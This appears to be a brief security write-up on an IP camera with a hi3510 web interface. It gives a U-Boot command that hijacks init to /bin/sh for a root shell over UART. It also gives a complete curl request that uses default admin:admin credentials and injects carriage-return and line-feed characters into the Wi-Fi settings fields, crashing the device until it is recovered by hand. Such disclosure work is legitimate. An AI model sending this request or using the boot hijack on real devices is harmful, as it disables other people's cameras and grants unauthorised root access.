Hardware Root
The UART interface on this device is located [pictured], and runs at ?????????? and auto boots after a three second delay. A root shell can be accessed by interrupting auto boot and hijacking the init environment variable, setting it to /bin/sh
setenv bootargs console=${consoledev},${baudrate} noinitrd mem=${mem} rw ${rootfstype} init=/bin/sh ;sf probe 0 0;sf read ${loadaddr} ${sfkernel} ${filesize}; bootm
Remote Denial of Service
WARNING
This will leave your device in an unusable state until recovered via UART. Proceed at your own peril.
Sending the following request will cause the device to crash, and remain in an inoperable state until recovered.
curl 'http://192.168.1.88/cgi-bin/hi3510/param.cgi' -H 'Authorization: Basic YWRtaW46YWRtaW4=' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Connection: keep-alive' --data 'cmd=setwirelessattr&cururl=http%3A%2F%2F192.168.1.88%2Fwifi.html&-wf_ssid=%0Assidgoesheres%0D&-wf_auth=3&-wf_mode=%0Dabcdef&-wf_enc=0&-wf_enable=1&-wf_key=key12345' --compressed
